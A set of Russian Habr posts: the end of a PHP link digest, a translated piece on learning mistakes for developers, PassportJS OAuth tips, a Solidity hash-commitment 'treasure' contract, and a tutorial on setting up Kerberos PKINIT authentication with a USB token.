* [swarrot/swarrot](https://github.com/swarrot/swarrot) — Расширяемая библиотека для работы с сообщениями от различных брокеров (AMQP из коробки).
* [prolic/HumusAmqp](https://github.com/prolic/HumusAmqp) — PHP 7 AMQP.
* [php-vcr/php-vcr](https://github.com/php-vcr/php-vcr) — Записывает HTTP-вызовы в ваших тестах и затем «проигрывает» ответы вовремя последующих запусков тестов, тем самым ускоряя запуски и детерминируя результат.
* [markrogoyski/math-php](https://github.com/markrogoyski/math-php) — Математическая библиотека для PHP. Реализованы возможности для работы с матрицами/векторами, численный анализ, статистика и другое.
### Материалы для обучения
* ##### Symfony
+ [Простой Rest API на Symfony 3.1](https://www.cloudways.com/blog/rest-api-in-symfony-3-1/)
+ [Масштабируем сессии Symfony с помощью Memcached](https://labs.madisoft.it/scaling-symfony-sessions-with-memcached/)
* ##### Yii
+  [Yii 2 Conference 2016](http://prjctr.com.ua/events/yii2-conference.html) — Мини-конференция по Yii 2 в Киеве 24 сентября.
+  [Как использовать UrlManager для настройки роутинга и создания «дружелюбных» URL](https://habrahabr.ru/post/308948/)
+ [Туториал по Yii 2: Планировщик встреч](http://code.tutsplus.com/tutorials/building-your-startup-delivering-the-meeting-invitation--cms-23428)
* ##### Laravel
+  [Laravel 5.3: Подготовка к разработке (для новичков)](https://habrahabr.ru/post/309568/)
+ [Lumen 5.3](https://laravel-news.com/2016/09/lumen-5-3-is-released/)
+ [krlove/eloquent-model-generator](https://github.com/krlove/eloquent-model-generator) — Консольная утилита для генерации кода Eloquent модели из таблиц БД.
* [Обнаружение потенциально вредоносного PHP кода с помощью контрольных сумм и эвристик на синтаксическом дереве](https://blog.garage-coding.com/2016/09/01/detecting-potentially-malicious-php-code-using-parsers-and-heuristics.html)
* [Как избежать почти-неизменяемых объектов в PHP](http://paul-m-jones.com/archives/6400) — Об использовании массивов и ресурсов в неизменяемых объектах.
* [Знакомимся с PageObject](https://qafoo.com/blog/089_introduction_to_page_objects.html) — Об использовании в тестах.
* [Типы данных в PHP и MySQL](http://schlueters.de/blog/archives/182-Types-in-PHP-and-MySQL.html)
* [Обзор PHP 7.1](https://blog.pascal-martin.fr/post/php71-en-introduction-and-release-cycle.html)
*  [Волшебная сборка проекта на WordPress при помощи пакетных менеджеров и напильника](https://habrahabr.ru/post/309214/)
*  [CRUD и связанные операции в CleverStyle Framework](https://habrahabr.ru/post/308646/)
*  [О фреймворках](https://habrahabr.ru/company/oleg-bunin/blog/308644/)
*  [PHPixie против Laravel](https://habrahabr.ru/post/309176/)
*  [Не поставил favicon на сайте — получи двойной трафик от Chrome](https://habrahabr.ru/post/309436/)
*  [PHP: неправильный путь](https://habrahabr.ru/company/mailru/blog/308788/)
### Аудио и видеоматериалы
*  [9th Symfony Moscow Meetup](https://www.youtube.com/playlist?list=PLlsBBnQmNLDMbWZhNGY76pxaBflMq6TUO) — Видеозаписи докладов.
*  [Туториал по Codeception на примере Laravel](https://www.youtube.com/playlist?list=PLrIm-p2rpV0Hu9EvTidyYG1vsX0LWIM7Q)
*  Видеозаписи [докладов](https://www.youtube.com/playlist?list=PLECEw2eFfW7hq_1TyZn5UtMw5KOoZARJP) и [мастер-классов](https://www.youtube.com/playlist?list=PLECEw2eFfW7ilqWvaeH0cDJvL1SH_v1vO) с PHP Conference Asia 2016
*  [Symfony Catalunya 2016](https://www.youtube.com/playlist?list=PLQeCouGk8zAOdUpj_aKgxMUAacV2BD5Eq) — Видеозаписи докладов.
### Занимательное
* [Пример кода, который синтаксически валиден на PHP и Java, и производит один и тот же вывод](https://gist.github.com/forairan/b1143f42883b3b0ee1237bc9bd0b7b2c)
* [sbesselsen/js.php](https://github.com/sbesselsen/js.php) — Интерпретатор JavaScript на PHP.
* [Почему падает качество вопросов по PHP на Stack Overflow?](http://meta.stackoverflow.com/questions/334267/why-are-php-questions-on-stack-overflow-in-decline) — Забавный анализ [данных SO](http://data.stackexchange.com/).
* [Обмен стикерами между группами пользователей PHP 2016](https://www.joeferguson.me/php-user-group-sticker-exchange-2016/)
* [PHPMap](https://phpmap.co/) — Карта PHP-разработчиков всего мира.
Спасибо за внимание! Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](http://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Присылайте ссылки](http://bit.ly/php-digest-add-link) на интересные статьи или полезные инструменты, которых [не было в PHP-Дайджестах](http://pronskiy.github.io/php-digest/), и ваше имя будет рядом с присланной ссылкой в выпуске.
» [Прислать ссылку](http://bit.ly/php-digest-add-link)
» [Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск PHP-Дайджест № 91](https://habrahabr.ru/company/zfort/blog/308702/) | https://habr.com/ru/post/309710/ | null | ru | null |
# Типичные ошибки, которые разработчик допускает при обучении — и как их избежать
[](https://habrahabr.ru/company/alconost/blog/418815/)
**В эпоху подрывных технологий и засилья фреймворков.**
Обучение, развитие навыков и умение держать руку на пульсе новейших технологий и трендов — хлеб и масло любого программиста. Это не бонусные факторы, а жизненно важные способности, без которых вам не достичь карьерных целей. Однако, при обучении разработчики допускают ряд распространенных ошибок — независимо от того, на каком этапе карьеры находятся. Давайте сегодня обсудим эти ошибки. Надеюсь, вам пригодятся два-три совета отсюда, и вы мгновенно начнете учиться гораздо эффективнее.
**Переведено в [Alconost](https://alconost.com?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=mistakes)**
Не иметь учебного плана
-----------------------
*Снимок [rawpixel](https://unsplash.com/@rawpixel?utm_source=medium&utm_medium=referral) сайт [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
Говорят, что если вы проваливаете планирование — значит, планируете провалиться. Это касается и обучения. Иногда разработчику не терпится, он сразу ударяется в активное обучение, совершенно не подготовившись. Допустим, вы хотите изучить фреймворк React для языка Javascript и начинаете читать руководства по React, даже не представляя, на каких областях сосредоточиться, как достичь цели, то есть, научиться писать приложения на React. В данном случае лучше учиться так: смотрим официальную документацию, шаг за шагом изучаем концепции, от базовых до продвинутых, знакомимся со справкой по API, пишем пилотное приложение на React, знакомимся с другими имеющимися примерами и ставим SMART-цели на каждом этапе обучения. Цели S.M.A.R.T. хороши потому, что конкретны (specific), измеримы (measurable), достижимы (achievable), реалистичны (realistic) и ограничены по срокам (time-bound).
Не иметь четкой конечной цели
-----------------------------
*Снимок [Patrick Fore](https://unsplash.com/@patrickian4?utm_source=medium&utm_medium=referral) с сайта [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
В индустрии разработки ПО существует масса новых технологий и новых подходов. Поймите меня правильно: я считаю, что непрерывное обучение — это хорошо. Если вы готовы учиться, то только расширите набор навыков и наработаете новые знания. Однако, бывает, что разработчик чересчур подвержен СУВ (Синдром Упущенных Возможностей) и пытается изучить все новинки, о которых только слышал. Тогда у него не останется времени на продуктивный труд и на применение знаний и умений для дела. Прежде чем чему-то учиться, рекомендую вам задуматься, зачем вы это учите, где и как собираетесь применять новоприобретенные знания или умения. Например, если вы занимаетесь разработкой под базы данных, но при этом изучаете Javascript — это значит, что вы собираетесь перейти к полностековой разработке. Либо, если занимаетесь DevOps и учите AWS, то, возможно, прокачиваетесь в расчете устроиться на новую работу в компанию, которая использует AWS.
Выбор слишком широкой темы
--------------------------
*Снимок [Юрия Ковалева](https://unsplash.com/@nightcoder?utm_source=medium&utm_medium=referral), сайт [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
Все слышали выражение «воз и маленькая тележка»? Иногда разработчик слишком рьяно пытается досконально изучить выбранную тему, не умеет уточнить свои планы и при обучении ставит чрезмерно широкую цель. Вы спросите: «А когда же наступает «слишком»»? Я считаю, что тема слишком широка, если вам не удается в нескольких словах описать другому разработчику планируемые результаты вашего обучения. Планируемые результаты обучения позволяют судить, какие знания и у меня разработчик должен приобрести по итогам изучения конкретной темы. Естественно, любую тему можно изучать вечно, однако, должен быть предел, после которого вы скажете себе: «все, пока достаточно». Достаточно, чтобы уверенно чувствовать себя на пути к конечной цели. Вот, например, некоторые планируемые результаты обучения в случае с фреймворком React языка Javascript:
```
Планируемые результаты обучения
Справившись с учебной программой, я должен:
- Уметь написать с нуля новое приложение React, которое позволит:
-- Потреблять полезную нагрузку в формате JSON в REST API
-- Обновлять контент приложения каждые x минут
-- Организовать переходы между окнами
-- Запомнить, какое окно я уже посещал ранее (если таковое есть)
-- Проверить его методом модульного тестирования
```
Обратите внимание: приведенные здесь результаты описаны не слишком конкретно или подробно (например, мы не пишем «создать компонент в JSX синтаксисе»), поскольку вы пока не знаете всех нюансов фреймворка React. Они и не слишком широки: по каждому пункту описан конкретный результат, а не пространный и общий, такой как «Создать React-приложение».
Читать и смотреть слишком много книг, руководств, видео
-------------------------------------------------------
*Снимок [chuttersnap](https://unsplash.com/@chuttersnap?utm_source=medium&utm_medium=referral) с сайта [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
Усталость от мануалов — это реальность. Если вы думаете, что действительно что-то учите, штудируя бесконечные книги, видео и руководства, то просто тратите ваше время. Выберите несколько источников (книги, видео, любой другой формат) — и работайте с ними. Вполне вероятно, что информация, которую вы узнаете из видеоролика, будет сильно пересекаться с материалом какого-то другого руководства по той же теме. Другой пример: беглый поиск по Amazon на тему фреймворка React Javascript выдает около 700 книг, некоторые — с почти одинаковыми названиями, вроде «Изучая React». Справиться со всеми этими книгами нереально, и, даже если бы вам это удалось — еще не факт, что вы стали бы экспертом по React или не зря потратили ваше время.
Не отслеживать прогресс
-----------------------
*Снимок [Lindsay Henwood](https://unsplash.com/@lindsayhenwood?utm_source=medium&utm_medium=referral) с сайта [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
Хорошо, если у вас четкий план и конкретные цели, но от них мало толку, если не отслеживать собственный прогресс и темпы движения. Контролируйте ваши достижения каждые две недели, в крайнем случае — каждый месяц, проверяйте, в верном ли направлении движетесь. Рекомендую поставить в календаре напоминалку, чтобы регулярно оценивать достигнутый прогресс с самого начала учебного процесса. Если вы запаздываете с достижением целей, то, вполне вероятно, сами понимаете, где именно забуксовали — и скорректируете ваши планы. С другой стороны, если цели достигаются — это стоит отпраздновать и идти дальше, чтобы мотивация сохранялась.
Учитесь эффективно
------------------
*Снимок [Thought Catalog](https://unsplash.com/@thoughtcatalog?utm_source=medium&utm_medium=referral) на сайте [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)*
В наши дни умение эффективно учиться — это бонус и ключ к профессиональному успеху. Я твердо убежден, что можно поднатореть в чем угодно, если уделить время, чтобы понять суть процесса, и самому хотеть совершенствоваться. Это касается и обучения. Обучение — это навык, который нарабатывается на практике. Знать, чего не делать, порой не менее важно, чем знать, что делать, приступая к обучению. Не зря китайский социальный философ Конфуций однажды сказал:
> *«Обучение без размышления — напрасный труд, мышление без обучения опасно».
>
> — Конфуций*
**О переводчике**
Перевод статьи выполнен в Alconost.
Alconost занимается [локализацией игр](https://alconost.com/services/game-localization?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=mistakes), [приложений и сайтов](https://alconost.com/services/software-localization?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=mistakes) на 68 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов.
Мы также делаем [рекламные и обучающие видеоролики](https://alconost.com/services/video-production?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=mistakes) — для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.
[Подробнее](https://alconost.com?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=mistakes) | https://habr.com/ru/post/418815/ | null | ru | null |
# Тонкости работы с PassportJs
Недавно работая над очередным проектом, который использует [passporjs](http://passportjs.org/), наткнулся на несколько проблем, с которыми в интернете сталкивались и другие разработчики. Но ответов в интернете я не нашел (возможно плохо искал).
Расскажу об этих проблемах и как их решал.
Документация по PassportJS и его 3-d Strategy вроде достаточно для старта, но в ходе разработки у меня возникли такие проблемы:
1. facebook не предоставлял те поля, которые мне нужны, например, email
2. vkontakte, тоже не предоставлял email, но уже по другой причине, нежели чем facebook
И так, решаем первую проблему.
В [документации](https://github.com/jaredhanson/passport-facebook) сказано, что scope, надо передавать в options, при выполнении собственно авторизации:
```
app.get('/auth/facebook/callback',
passport.authenticate('facebook', { failureRedirect: '/login', scope: [
'email',
'publish_actions',
'user_friends',
'user_about_me',
'user_birthday'
] }),
function(req, res) {
// Successful authentication, redirect home.
res.redirect('/');
});
```
Но, email не возвращался все равно. В итоге продебажив исходники, стало ясно, что scope, надо передавать в настройках самой Strategy, разделяя их запятой:
```
passport.use(new FacebookStrategy({
clientID: FACEBOOK_APP_ID,
clientSecret: FACEBOOK_APP_SECRET,
callbackURL: "http://localhost:3000/auth/facebook/callback",
scope: 'email',
enableProof: false
},
function(accessToken, refreshToken, profile, done) {
User.findOrCreate({ facebookId: profile.id }, function (err, user) {
return done(err, user);
});
}
));
```
Собственно все заработало.
2. Но, проблема с использованием [passport-vkontakte](https://github.com/stevebest/passport-vkontakte), не решилась, тк вконтакте особенный и отдает email не в профиле пользователя, а сразу при запросе access\_token. Начал ковырять исходники более глубоко. В итоге нашел такой кусок кода в [passport-oauth2](https://github.com/jaredhanson/passport-oauth2/blob/master/lib/strategy.js#L192):
```
if (arity == 5) {
self._verify(accessToken, refreshToken, params, profile, verified);
} else { // arity == 4
self._verify(accessToken, refreshToken, profile, verified);
}
```
Собственно, это говорит о том, что можно передать callback верификации с 5ю параметрами и туда придет в params сырой ответ вконтакте при получении accessToken:
```
passport.use(new VKontakteStrategy({
clientID: VKONTAKTE_APP_ID, // VK.com docs call it 'API ID'
clientSecret: VKONTAKTE_APP_SECRET,
callbackURL: "http://localhost:3000/auth/vkontakte/callback"
},
function(accessToken, refreshToken, params, profile, done) {
//params.email - то что нужно!
}
));
```
Пока все. | https://habr.com/ru/post/262979/ | null | ru | null |
# Как закопать и найти клад на Solidity
Начну с описания кейса, где нам потребовалось решение подобной задачи. Мы реализовали проект [TheWall Global](https://thewall.global), в рамках которого мы создали двумерное пространство или стену, которая разделена на равные области, каждая из которых представляет собой NFT-токен. Любой желающий может приобрести себе кусочек нашего виртуального пространства, чтобы разместить там любую информацию, которую он считает интересной и полезной для других – эдакое не модерируемое пространство всего значимого для человечества и человека. Базовая идея была нами аккуратно заимствована из замечательного и всем известного проекта [TheMillionDollarHomepage](http://www.milliondollarhomepage.com/), но мы наделили эту историю замечательной вторичной экономикой. Не буду вдаваться, собственно, в детали проекта и полемизировать на тему того, интересно ли это, монетизируется ли оно, будет ли работать на длинной дистанции – скажу лишь, что за три недели мы напродавали областей уже почти на пол миллиона долларов и провели переговоры с десятками галерей и художников, которые горят желанием разместить свои экспозиции на нашем пространстве, поэтому, думаю будет интересно. Но сейчас мы не об этом.
В какой-то момент нам пришла в голову замечательная идея, геймифицировать процесс покупки областей, сделав его более интересным для покупателей. Мы решили начать с простой механики, которая с моей легкой руки получила название – Кладоискатели. Суть механики предельно проста, в какой-то момент времени мы «загадываем» счастливые области, просто выбирая их из числа свободных на этот момент областей, даем покупателям, скажем, неделю, чтобы купить себе одну или несколько областей, а затем сообщаем всем, какие именно области мы загадали, а если кто-то приобрел какие-то из них, то он получает приз в виде некоторого количества токенов (например, токенов USDT или других ERC20-токенов). Все бы ничего, но нам очень захотелось реализовать эту механику именно децентрализованным способом. Зачем? Ну, как минимум, чтобы исключить обвинения в наш адрес, что мы изменили загаданные области, чтобы не расставаться с призом.
Децентрализованная реализация предполагала наличие отдельного смартконтракта, который мы назвали Treasure (пер. с англ. – Сокровище). Но тут возникла загвоздка. Чтобы исключить подтасовку, нам нужно было как-то сообщить смартконтракту координаты счастливых областей до начала игры, но это означало бы, что нам пришлось бы сообщить всем желающим правильный ответ. Решение, которое мы применили, оказалось очень простым. Мы решили загружать в смартконтракт не координаты счастливых областей, а рассчитанную от них хеш-функцию, т.е. «прячем сокровище» мы простым вызовом функции:
```
function hideTreasure(bytes32 hash) onlyOwner public
{
_hash = hash;
emit TreasureHidden(hash);
}
```
Мы использовали хеш-функцию keccak256, т.к. ее вызов доступен прямо из смартконтракта, а следовательно, смартконтракт может убедиться, что загружаемые впоследствии нами (организаторами ) координаты счастливых областей, в точности соответствуют загаданным до начала игры. Ну и, как видите, вызов функции hideTreasure() не раскрывает секрета, представляющего собой набор координат областей, заданный в виде массива int256 [] coords, представляющего собой последовательность (x1, y1, x2, y2, …. , xN, yN).
Вроде все выглядит хорошо, но на самом деле, не очень. Стена у нас имеет ограниченный размер – 1000x1000 областей, т.е. всего 1 миллион вариантов размещения, да еще и за вычетом уже занятых областей. Согласитесь, не такая уж сложная задача для полного перебора координат и расчета их хеша. Разумеется при не очень больших N. Поэтому мы решили не рисковать и немного «подсолить» вектор координат, добавив в его конец еще один член – SALT – очень большое и очень случайное число. Получилась последовательность (x1, y1, x2, y2, …. , xN, yN, SALT), для которой мы уже и считали хеш.
Подведение итогов игрового раунда выглядит тоже весьма компактно и просто:
```
function findTreasure(int256 [] memory coords, uint256 salt) onlyOwner public
{
bytes32 hash = keccak256(abi.encodePacked(keccak256(abi.encodePacked(coords)), salt));
require(hash == _hash, "Treasure: Invalid data");
emit TreasureFound(coords);
delete _hash;
for(uint i = 0; i < coords.length;)
{
int256 x = coords[i++];
int256 y = coords[i++];
uint256 tokenId = _thewallcore._areaOnTheWall(x, y);
if (tokenId != 0)
{
address user = _thewall.ownerOf(tokenId);
if (_treasureContract.transfer(user, _treasuredAmount))
{
emit Rewarded(user, tokenId, _treasuredAmount);
}
}
}
}
```
Собственно, самое интересно в приведенном выше коде находится в первой строчке функции, которая описывает, как посчитать значение хеш-функции keccak256 практически от любых параметров. В нашем случае мы считали хеш от массива координат abi.encodePacked(coords), но, в принципе, на этом месте мог бы быть секрет совершенно любого типа и формата. Подробнее про abi.encodePacked можно почитать в документации на Solidity или посмотреть наглядные примеры вот в [этой статье](https://medium.com/@libertylocked/what-are-abi-encoding-functions-in-solidity-0-4-24-c1a90b5ddce8).
Ну а далее, убедившись, что загружаемые координаты соответствуют загаданным на момент начала игры, т.е. хеш от них, соответствует загруженному ранее, а значит организатор не изменил условия задачи, смартконтракт пробегает по всем заданным координатам, проверяет, есть у соответствующих им областей владелец, ну и, если есть, начисляет ему заслуженную награду, которая должна быть предусмотрительно размещена на адресе самого смартконтракта Treasure.
Наш проект работает на базе блокчейна Polygon (MATIC), но все описанное мной выше прекрасно может быть исполнено и на Ethereum и многих других, сделанных на базе кода Ethereum блокчейнов. Почему мы остановились именно на Polygon-е – тема для отдельной истории, как и множество других лайфхаков, которые мы использовали при создании нашего проекта. Возможно, я расскажу о них в последующих постах. Но это не точно :)
Полный текст смартконтракта Treasure доступен [тут](https://polygonscan.com/address/0xcC57Ce4Dc70F6535618df7B6705159d6F8064C7E#code). Возможно, вам будет интересно взглянуть и на другие контракты нашего проекта, которые вызываются из приведенного выше в качестве примера кода, а именно, смартконтракты [TheWall](https://polygonscan.com/address/0xF94B52BF30cEc985991EdFB6DEda4Fb48F4F56f5#code) и [TheWallCore](https://polygonscan.com/address/0x1CDa9D9b8838A6ea02D5c81d39d1ec696b25e2B1#code).
Сам проект доступен по адресу <https://thewall.global>, а сопроводительная информация на сайтах <https://thewall.cptpoint.global> и <https://about.thewall.global>. | https://habr.com/ru/post/585730/ | null | ru | null |
# Настройка Kerberos-аутентификации с использованием смарт-карт
В продолжение [давней темы](http://habrahabr.ru/company/aktiv-company/blog/144700/) про использование двухфакторной аутентификации в ОС GNU/Linux позвольте рассказать про схему работы и настройку аутентификации с помощью Kerberos. В этой статье мы рассмотрим процесс настройки MIT Kerberos для аутентификации пользователей по сертификатам и ключевым парам, находящимся на USB-токене. Также материалы, изложенные в статье, можно использовать для настройки аутентификации в домене Windows.
Краткое введение
================
Для начала проведем небольшой ликбез по терминологии Kerberos и рассмотрим доступные реализации этого протокола в ОС на базе GNU/Linux. Сразу оговорюсь, что мне не удалось найти однозначного перевода терминов, использующихся в Kerberos, поэтому для избежания путаницы основные термины я буду дублировать на английском.
Итак, начнем. Если процитировать Википедию, то
> Kerberos – сетевой протокол аутентификации, позволяющий передавать данные через незащищённые сети для безопасной идентификации. Ориентирован, в первую очередь, на клиент-серверную модель и обеспечивает взаимную аутентификацию – оба пользователя через сервер подтверждают личности друг друга.
Стоит отметить, что Kerberos в первую очередь является протоколом, а не конкретной системой аутентификации. Его реализации используются в различных операционных системах, в том числе и в Windows, как метод аутентификации пользователей в домене. Существует несколько open source реализаций протокола Kerberos, например оригинальная MIT Kerberos и Heimdal. Такой зоопарк возник из-за ограничений США на экспорт криптографических средств защиты информации, на сегодня эта ситуация вокруг MIT Kerberos уже улеглась. В статье мы рассмотрим процесс настройки для MIT Kerberos V5.
Терминология Kerberos
=====================
* Билет (ticket) – временные данные, выдаваемые клиенту для аутентификации на сервере, на котором располагается необходимая служба.
* Клиент (client) – некая сущность в сети (пользователь, хост или сервис), которая может получить билет от Kerberos.
* Центр выдачи ключей (key distribution center, KDC) – сервис, выдающий билеты Kerberos.
* Область (realm) – сеть, используемая Kerberos, состоящая из серверов KDC и множества клиентов. Имя realm регистрозависимо, обычно пишется в верхнем регистре и совпадает с именем домена.
* Принципал (principal) – уникальное имя для клиента, для которого разрешается аутентификация в Kerberos. Записывается в виде root[/instance]@REALM.
### Файлы настроек Kerberos
##### На сервере:
* /etc/krb5kdc/kdc.conf — настройки KDC
##### На клиенте и сервере:
* /etc/kbr5.conf — настройки сервера аутентификации (описание realms, доменных имен и других настроек)
Настройка рабочего окружения
============================
Для начала необходимо развернуть среду, в которой будет производиться аутентификация. Наиболее просто это сделать, взяв две виртуальные машины, находящиеся в одной подсети. Достаточно установить на одну виртуальную машину какую-нибудь Ubuntu (это будет наш сервер), а затем клонировать ее и получить клиента. При написании статьи я воспользовался свежей Ubuntu 12.10 (x86) и виртуальной машиной от VMWare. Чтобы виртуальным машинам было удобнее видеть друг друга по сети, стоит переключить сетевые карты в Bridged-режим.
**Важно!** Следите за тем, чтобы время на клиенте и сервере было синхронизировано, это необходимо для корректной работы Kerberos.
### Настройка сети
Клиенты Kerberos ищут свои сервера по доменным именам, поэтому необходимо настроить DNS и убедиться, что имена серверов успешно разрешаются. В нашем примере достаточно занести доменное имя сервера в /etc/hosts, что я и сделал. Схема «сети» изображена ниже.
### Установка необходимых пакетов
##### На сервере нам потребуются:
* krb5-kdc – сервис KDC
* krb5-admin-server – административный сервер Kerberos (он ведет контроль учетных записей пользователей)
* krb5-pkinit – модуль расширения Kerberos для аутентификации по сертификатам
##### На клиент надо поставить следующие пакеты:
* krb5-user – базовый набор утилит для работы клиентской аутентификации
* krb5-config – файлы настроек Kerberos
* krb5-pkinit
* libpam-krb5 – модуль PAM для использования Kerberos-аутентификации
* pcscd, opensc, libengine-pkcs11-openssl – пакеты, необходимые для работы с токенами
При установке пакетов у нас спросят настройки по умолчанию, мы будем использовать следующие:* Default realm: AKTIV-TEST.RU
* Имена серверов (admin server и KDC): aktiv-test.ru (он же прописан в /etc/hosts на клиенте)
* Пользователь: testuser@AKTIV-TEST.RU
Настройка Kerberos
==================
### Базовые настройки
После установки пакетов на сервере нужно инициализировать realm командой
```
$ sudo krb5_newrealm
```
А на клиенте – обновить файлы конфигурации:
```
$ sudo dpkg-reconfigure krb5-config
```
Также на клиенте и сервере надо добавить следующие строки в /etc/krb5.conf:
```
[domain_realm]
.aktiv-test.ru = AKTIV-TEST.RU
aktiv-test.ru = AKTIV-TEST.RU
```
Теперь создадим на сервере нового пользователя c именем testuser
```
$ sudo kadmin.local
# username = testuser
# password = test
# добавляем нового пользователя и устанавливаем его пароль
kadmin.local:$ addprinc testuser
# ...
kadmin.local:$ quit
```
На клиенте теперь можно проверить, правильно ли мы настроили сеть и Kerberos:
```
$ kinit testuser@AKTIV-TEST.RU
# вводим пароль пользователя
$ klist
# и видим выданный ticket, после чего его можно удалить следующей командой
$ kdestroy
```
### Настройка аутентификации по открытому ключу
Для работы модуля pkinit нам придется воспользоваться openssl в качестве мини-УЦ, чтобы создать ключевые пары и сертификаты клиента и сервера.##### На сервере:
Создадим ключевую пару и сертификат нашего «УЦ». Здесь мы сгененируем ключ УЦ и создадим самоподписанный сертификат с помощью openssl. В реальном мире ключ естественно надо надежно защитить от попадания в чужие руки.
```
$ openssl genrsa -out cakey.pem 2048
# ...
$ openssl req -key cakey.pem -new -x509 -out cacert.pem
# ...
```
Создадим ключевую пару для KDC, заявку на сертификат и выпишем его сами себе.
Здесь нам потребуется специальный файл расширений OpenSSL ([pkinit\_extensions](https://dl.dropbox.com/u/715171/pkinit_extensions)), в котором будут указаны дополнительные поля сертификатов, используемых в Kerberos. В частности, мы зададим:* Extended Key Usage (EKU) – идентификатор (OID), говорящий о том, как планируется использовать сертификат
* otherName – поле, задающее нашего принципала, для которого выписывается сертификат
```
$ openssl genrsa -out kdckey.pem 2048
# создание запроса
$ openssl req -new -out kdc.req -key kdckey.pem
# подпись запроса
$ REALM=AKTIV-TEST.RU; export REALM
$ CLIENT=aktiv-test.ru; export CLIENT
# содержимое файла pkinit_extensions см. по ссылке выше
$ openssl x509 -req -in kdc.req -CAkey cakey.pem -CA cacert.pem -out kdc.pem -extfile pkinit_extensions -extensions kdc_cert –CAcreateserial
```
После этого перенесем следующие файлы в /var/lib/krb5kdc/:* kdc.pem
* kdckey.pem
* cacert.pem
На сервере отредактируем настройки Kerberos (файл /etc/krb5kdc/kdc.conf) для использования ключей и сертификатов сервера и УЦ:
```
[kdcdefaults]
kdc_tcp_ports = 88
pkinit_identity = FILE:/var/lib/krb5kdc/kdc.pem,/var/lib/krb5kdc/kdckey.pem
pkinit_anchors = FILE:/var/lib/krb5kdc/cacert.pem
[realms]
AKTIV-TEST.RU = {
database_name = /var/lib/krb5kdc/principal
admin_keytab = FILE:/etc/krb5kdc/kadm5.keytab
acl_file = /etc/krb5kdc/kadm5.acl
key_stash_file = /etc/krb5kdc/stash
max_life = 10h 0m 0s
max_renewable_life = 7d 0h 0m 0s
master_key_type = des3-hmac-sha1
supported_enctypes = aes256-cts:normal arcfour-hmac:normal des3-hmac-sha1:normal des-cbc-crc:normal des:normal des:v4 des:norealm des:onlyrealm des:afs3
default_principal_flags = +preauth
}
```
Далее на сервере необходимо включить предварительную аутентификацию для нашего пользователя.
```
$ kadmin.local
kadmin.local$: modprinc +requires_preauth testuser
```
##### Дальнейшие действия будем выполнять на клиенте
Отформатируем токен
```
$ pkcs15-init --erase-card -p rutoken_ecp
$ pkcs15-init --create-pkcs15 --so-pin "87654321" --so-puk ""
$ pkcs15-init --store-pin --label "User PIN" --auth-id 02 --pin "12345678" --puk "" --so-pin "87654321" –finalize
```
Сгенерируем на токене ключевую пару RSA 2048 бит и создадим заявку на сертификат. Важно заметить, что пути до библиотек engine\_pkcs11.so и opensc-pkcs11.so на вашей системе могут отличатся, поэтому сначала стоит проверить их расположение.
```
# на данном шаге важно запомнить ID ключевой пары, его мы используем позже
$ pkcs15-init -G rsa/2048 --auth-id 02 --id 42 --label "testuser's key" --public-key-label "testuser's public key"
# ...
$ openssl
# на multiarch-системах opensc-pkcs11.so и engine_pkcs11.so могут лежать в других местах
OpenSSL> engine dynamic -pre SO_PATH:/usr/lib/openssl/engines/engine_pkcs11.so -pre ID:pkcs11 -pre LIST_ADD:1 -pre LOAD -pre MODULE_PATH:opensc-pkcs11.so
(dynamic) Dynamic engine loading support
[Success]: SO_PATH:/usr/lib/openssl/engines/engine_pkcs11.so
[Success]: ID:pkcs11
[Success]: LIST_ADD:1
[Success]: LOAD
[Success]: MODULE_PATH:opensc-pkcs11.so
Loaded: (pkcs11) pkcs11 engine
OpenSSL> req -engine pkcs11 -new -key 1:42 -keyform engine -out client.req -subj "/C=RU/ST=Moscow/L=Moscow/O=Aktiv/OU=dev/CN=testuser/emailAddress=testuser@mail.com"
engine "pkcs11" set.
PKCS#11 token PIN:
OpenSSL> quit
```
После этого мы получим файл-заявку client.req, которую необходимо поместить на сервер и выписать сертификат пользователя на основе данных УЦ:
```
$ REALM=AKTIV-TEST.RU; export REALM
$ CLIENT=testuser; export CLIENT
$ openssl x509 -CAkey cakey.pem -CA cacert.pem -req -in client.req -extensions client_cert -extfile pkinit_extensions -out client.pem
```
Затем стоит перезапустить сервер и KDC:
```
$ /etc/init.d/krb5-admin-server restart
$ /etc/init.d/krb5-kdc restart
```
На выходе работы openssl мы получим файл с сертификатом клиента client.pem. Его нужно перенести на клиентскую машину, положить в /etc/krb5/ и записать на токен:
```
$ pkcs15-init --store-certificate client.pem --auth-id 02 --id 42 --format pem
```
И в завершение нам потребуется внести в файл конфигурации Kerberos настройку, которая укажет, какие данные использовать для аутентификации (в нашем случае это сертификат УЦ и путь до модуля PKCS#11). В [документации](http://web.mit.edu/Kerberos/krb5-1.9/krb5-1.9.1/doc/krb5-admin.html#pkinit-client-options) MIT Kerberos указаны различные параметры, которые позволяют настроить выбор аутентификационных данных на токене, в нашем же случае мы просто указываем модуль PKCS#11, поскольку в данной ситуации этого достаточно.
```
[libdefaults]
default_realm = AKTIV-TEST.RU
# путь к сертификату УЦ
pkinit_anchors = FILE:/etc/krb5/cacert.pem
# путь к модулю PKCS#11
pkinit_identities = PKCS11:/usr/lib/opensc-pkcs11.so
```
Проверим, можем ли мы получить ticket на клиенте, используя данные с токена:
```
$ kinit testuser
# на этом этапе у нас должны спросить PIN-код от токена
$ klist
```
Настройка PAM-аутентификации с использованием Kerberos
======================================================
